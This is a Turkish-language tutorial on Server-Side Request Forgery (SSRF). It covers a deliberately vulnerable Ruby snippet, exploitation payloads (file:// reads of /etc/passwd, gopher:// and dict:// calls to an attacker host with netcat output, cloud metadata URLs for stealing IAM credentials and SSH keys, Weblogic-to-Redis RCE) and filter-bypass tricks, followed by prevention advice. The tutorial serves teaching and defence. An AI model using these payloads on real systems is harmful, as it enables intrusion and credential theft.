SSRF Nedir?
Türkçesi “sunucu taraflı istek sahteciliği” olan SSRF (Server Side Request Forgery), saldırganların zafiyetli bir web uygulaması adına istek gönderebilmesidir. Saldırgan; hedef sunucuya giden istekleri, zafiyetli web uygulamasındaki parametreleri değiştirip isteklerin varış noktalarını manipüle edebilir. Web sunucusunun uzak kaynakları çağırmasına izin verilen domainler ve protokoller denetlenmediği için bu zafiyet ortaya çıkmaktadır.
En basit haliyle uzak bir sunucudan web uygulamasıyla veri almak için yapılan istekte, URL parametresini değiştirerek zararlı bir yönlendirme yapabiliriz. Örnek olarak;
GET /veri.php?url=http://www.uzaksunucu.com/ HTTP/1.1
Host: webuygulamasi.com
SSRF kullanılarak çeşitli saldırı senaryoları geliştirilebilir. Küçük bir demo ile mantığını anlamaya çalışalım.
Aşağıdaki kodu server.rb isimli bir dosyaya kaydedip kodu local’de çalıştırabilmek için sinatra paketini gem install sinatra komutuyla yüklüyoruz. Devamında ruby server.rb komutuyla çalıştırıyoruz.
require 'sinatra'
require 'open-uri'
get '/' do
format 'RESPONSE: %s', open(params[:url]).read
end
Yukarıdaki kod 4567 numaralı portta çalışan bir sunucu çalıştırmakta ve URL parametresiyle değer beklemektedir. Gelen değere göre dosya açan basit bir script üzerinde SSRF açıklığını nasıl sömürebileceğimizi görelim.
- http://localhost:4567/?url=anasayfa anasayfa isimli dosyayı açar ve kullanıcıya dosya içeriğini gösterir.
- http://localhost:4567/?url=/etc/passwd /etc/passwd dosyasını açar ve kullanıcıya dosya içeriğini gösterir.
- http://localhost:4567/?url=http://uzaksunucu.com belirtilen URL’e istek gönderir ve dönen yanıta göre ekrana çıktı basar.
SSRF zafiyetinin sömürülmesiyle;
- Normal olarak erişilemeyen iç ağlarda keşif ve saldırı,
- Siteler arası betik çalıştırma, (SSRF to Reflected XSS)
- Uzaktan kod çalıştırma, (SSRF to RCE)
- Sunucudan dosya okunması, (SSRF to LFI)
- URL şemaları kullanarak sunucuya işlem yaptırılması, (ftp://, dict://, http://, gopher://, file:// vb.)
- Cloud servislerin meta-data bilgilerinin çekilmesi,
- Whitelist ve DNS çözümlemelerinin aşılması gibi faaliyetler yapılabilir.
SSRF Zafiyeti Sömürü Yöntemleri
İç Ağda Keşif ve Saldırı:
SSRF açıklığını kullanarak iç ağa erişim sağlanabilir ve keşif çalışmaları yapılabilir. İç ağda bulunan diğer sunucular ve servisler (MSSQL, Kibana, MongoDB, Nginx, Samba) gibi servisler keşfedilebilir, hatta güncellenmemiş bir zafiyet varsa exploit edilip komut çalıştırmaya kadar gidilebilir.
SSRF zafiyeti bulunan bir web uygulaması üzerinde port taraması yapmak için öncelikle aşağıdaki php kodunu bir dosyaya kaydedip kendi sunucumuz ile servis etmemiz gerekmekte.
Devamında SSRF zafiyetli web uygulamasından, kendi sunucunuzdaki bu dosyayı çağırarak sunucuda port taraması gerçekleştirebilirsiniz.
http://webuygulamasi.com/?url=http://saldirgan.xyz/tarama.php
Tarama sonucunda açık portların yanında “OK”, kapalı portların yanında “Inaccessible” yazısını görebilir ve getservbyport() fonksiyonu ile de /etc/services altında yer alan tcp bazlı servis isimleriyle port numaralarını eşleştirip çok daha anlaşılabilir bir sonuç görüntüleyebilirsiniz.
Siteler arası betik çalıştırma:
SSRF açıklığını kullanarak reflected XSS atakları düzenlenebilir. Bu ataklar sayesinde kullanıcıların cookie bilgileri çalınabilir, başka sayfaya yönlendirme, hatta BeeF kullanarak browser üzerinde komut bile çalıştırılabilir.
XSS atağı düzenlerken kullanacağımız zararlı javascript kodu içeren dosyayı da yine uzak sunucudan çekebiliriz.
http://webuygulamasi.com/?url=http://brutelogic.com.br/poc.svg
URL şemaları kullanarak işlem yapma:
URL şemaları kullanarak sunucudan dosya okuyabileceğimiz gibi sunucuyu belli metotlar ile sunucuya iş yaptırabiliriz. Örnek vermek gerekirse;
file:// kullanarak sunucudan dosya çağırabiliriz. Bu şema aynı zamanda SSRF to LFI zafiyetine sebep olur.
http://webuygulamasi.com/?url=file:///etc/passwd
gopher:// protokolü sunucuda daha fazla keşif yapmanıza olanak sağlar.
http://webuygulamasi.com/ssrf.php?url=http://gopher.com/gopher.php
(gopher.php sayfasının içeriği)
gopher.com/gopher.php
header('Location: gopher://saldirgan.com:1337/_merhaba%0Assrf%0Atest');
?>
(netcat ile saldırgan 1337 portunu dinlemeye alıyor ve bağlantı düşüyor.)
saldirgan:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)
merhaba
ssrf
test
dict:// protokolünü eğer uygulama isteklerde cURL kullanıyorsa herhangi bir sunucuya istek atmak veya veri göndermek için kullanabiliriz.
http://webuygulamasi.com/ssrf.php?dict://saldirgan.com:1337/
(saldırgan netcat ile 1337 portunu dinliyor ve servis görüntüleniyor.)
saldirgan.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.
Uzaktan kod çalıştırma:
SSRF zafiyeti olan bir web uygulamasının uzak sunucudan gelen istekleri nasıl kullandığına bağlı olarak uzaktan kod çalıştırma zafiyeti de tetiklenebilir.
Weblogic sunucularda daha önceden keşfedilmiş bir SSRF to RCE zafiyeti üzerinden örnek verelim.
Weblogic sunucularda operator parametresinde keşfedilen SSRF zafiyeti ve weblogic sunucu ile aynı local ağda bulunan redis sunucunun IP adresine yapılan HTTP isteği aşağıda gösterilmiştir.
Local ağdaki redis sunucuya weblogic üzerinden giden bir HTTP isteği gönderip aşağıdaki 3 komut ile crontab olarak shell betiği eklenebilir.
Üstteki komut URL encode edilerek SSRF olan parametre üzerinden redis sunucuya gönderilir.
Shell betiği çalıştığında ise root yetkilerinde komut çalıştırılabilir.
Zafiyetin detaylı incelemesi için: https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
Sunucudan dosya okunması:
SSRF zafiyeti doğrulanmış bir sunucuda file:// şeması kullanılarak dosya okunabilir.
Cloud servislerin meta-data bilgilerinin çekilmesi:
Amazon Could bir sunucuda tespit edilen bir SSRF sonucunda, her EC2 için ana bilgisayar hakkındaki meta-data sorgulayabileceği iç hizmet dışarıdan sömürülebilir. EC2’de bir SSRF güvenlik açığı bulduysanız, aşağıdaki istekleri deneyebilirsiniz:
http://ip_adresi/latest/meta-data/
http://ip_adresi/latest/user-data/
http://ip_adresi/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE
http://ip_adresi/latest/meta-data/iam/security-credentials/PhotonInstance
Yukarıdaki sorgular sonucu AWS anahtarı, SSH anahtarı gibi kritik bilgiler elde edilebilir.
Google Cloud için de yine aynı şartlar geçerlidir. Google Cloud için denenebilecek sorgular aşağıda gösterilmiştir.
http://ip_adresi/computeMetadata/v1beta1/instance/service-accounts/default/token
http://ip_adresi/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
Digital Ocean meta-data çekilmesi için de aşağıdaki sorgu denenebilir.
http://ip_adresi/metadata/v1.json
SSRF Zafiyeti Önleme Metotları
DNS Çözümleme ve Whitelist Oluşturma:
SSRF tehdini önlemenin en sağlam yolu, uygulamanızın erişmesi gereken DNS adını veya IP adresini whitelist yöntemiyle erişime açmaktır. Whitelist yaklaşımı size uymuyorsa mecburen bir blacklist oluşturup güvenmediğiniz IP adreslerini tutabilirsiniz. Burada önemli olan kullanıcı erişimini doğrulamaktır.
Blacklist yöntemi için sayısız ihtimali azaltma yolu olarak da düşünebiliriz. SSRF için evrensel bir önleme metodu olmadığı için mecburiyet halinde kullanılmalıdır.
Kullanılmayan URL Şemalarını Devre Dışı Bırakma:
Uygulamanız istekte bulunmak için yalnızca HTTP veya HTTPS kullanıyorsa, yalnızca bu URL şemalarına izin verin. Kullanılmayan URL şemalarını devre dışı bırakırsanız, saldırgan, file://, dict://, ftp:// ve gopher:// gibi tehlikeli şemalar kullanarak istekte bulunmak için web uygulamasını kullanamaz.
İç Ağda Bulunan Servislere Erişim İçin Kimlik Doğrulama:
Varsayılan olarak, Memcached, Redis, Elasticsearch ve MongoDB gibi servislerin onaylanması gerekmez. Saldırgan, bu hizmetlere kimlik doğrulaması yapmadan erişebilir. Bu nedenle yerel ağdaki hizmetler için mümkün olduğunca kimlik doğrulamasını etkinleştirmek gerekmektedir.
Sunucu Taraflı Yanıt Kontrolü (Response Handling):
Saldırganların SSRF ile sunucudan sömürü amaçlı aldığı yanıtlar normalden farklı olacaktır. Sunucudan gönderilen yanıtların veya isteklerin kontrol edilip çıktığı gibi iletilmemesi gerekmektedir. Aksi takdirde SSRF ile verilen yanıtlar saldırganın isteğine göre kontrolsüz şekilde gidecektir.
SSRF Koruması Bypass Metotları
Whitelist yöntemini atlatmanın tek yolu whitelist dahilinde bir web sitesinden yönlendirme yapmaktır.
Örneğin http://GuardedSite.com sitesi http://abc.xyz sitesine yapılan yönlendirmelere izin veriyor olsun ve sizi de http://GuardedSite.com sitesinde bir SSRF zafiyeti keşfetmiş kabul edelim.
http://GuardedSite.com/ssrf.php?url=http://attacker.com Yönlendirme gerçekleşmez. Çünkü attacker.com whitelist içerisine dahil edilmemiştir.
http://GuardedSite.com/ssrf.php?url=http://abc.xyz/?redirect=http://attacker.com Yönlendirme başarıyla gerçekleşir. Çünkü abc.xyz sitesi whitelist içerisine dahil edilmiştir ve bu siteden yapılacak yönlendirmeler web uygulaması tarafından denetlenemez ve yönlendirme gerçekleşir.
Yine başka bir örnekte http://GuardedSite.com sitesi http://*.abc.xyz sitesine yapılan yönlendirmelere izin veriyor olsun ve sizi de http://GuardedSite.com sitesinde bir SSRF zafiyeti keşfetmiş kabul edelim. Aynı zamanda sizin abc.xyz sitesinde bir subdomain takeover zafiyeti keşfettiğinizi varsayalım.
http://subdomain.abc.xyz subdomaini elinizdeyken yapacağınız yönlendirmeler de aynı şekilde kabul edilecektir.
Yani başka bir deyişle http://GuardedSite.com/ssrf.php?url=http://subdomain.abc.xyz/?redirect=http://attacker.com yönlendirmesi başarıyla gerçekleşecektir.
Kimi senaryolarda da IP adresini hexadecimal formatta yazmak blacklist filtrelemeyi aşmayı sağlar.
Örneğin; router IP adresinin blacklist yöntemiyle web uygulaması üzerinden erişiminin engellendiğini varsayalım.
http://192.168.0.1 noktalı olarak çevrildiğinde http://c0.a8.00.01 ve noktasız olarak çevrildiğinde http://0xc0a80001 adresleriyle eşdeğer olacaktır. Filtreleme aşılabilirse router’a istek gönderilecektir.
Aynı şekilde blacklist’e dahil edilmiş bir IP adresinin decimal veya oktal gösterimi de filtrelemeyi aşabilir.
http://192.168.0.1 decimal olarak çevrildiğinde http://3232235521/ , oktal olarak çevrildiğinde http://0300.0250.0000.0001 adresleriyle eşdeğer olacaktır. Filtreleme aşılabilirse router’a istek gönderilecektir.
Farklı bir metot olarak IPv6 vektörü kullanmak blacklist yöntemini aşabilmemizi sağlar. Örneğin, [::] URL filtrelemelerinde localhost adresini çağırabilmemizi sağlar.
Bir örnekle gösterelim: Slack API’sinde bulunmuş bir SSRF zafiyeti üzerinden gidelim. (Detaylı rapor: https://hackerone.com/reports/386292)
API standartlarına uygun bir URL eklenmediğinde aşağıdaki gibi HTTP 500 hata koduyla bir hata mesajı dönmektedir.
Saldırgan kendi sunucusunda bir x.php sayfası oluşturup içerisine u parametresiyle yönlendirme yapabileceği aşağıdaki kodları yazmıştır.
Bununla birlikte localhost’a yapacağı yönlendirmeyle port taraması yapmak istemektedir. Bunun için de örneğin http://[::]:22/ olarak URL belirttiğinde SSH portuna istek gönderilmektedir. SSH portu açık olduğundan dönen yanıt da aşağıdaki gibi olmaktadır.
Bununla birlikte 66 numara gibi açık olmayan bir portu denediğinde, aşağıdaki gibi istek göndermede hata yaşadığını ekrana basmaktadır.
Bu şekilde sonuçları gözlemleyerek sunucuda port taraması yapılabilmektedir.
Referanslar: https://medium.com/@madrobot/ssrf-server-side-request-forgery-types-and-ways-to-exploit-it-part-1-29d034c27978
https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF
https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/
https://www.netsparker.com.tr/blog/web-guvenligi/ssrf-nedir-ssrf-nasil-onlenir/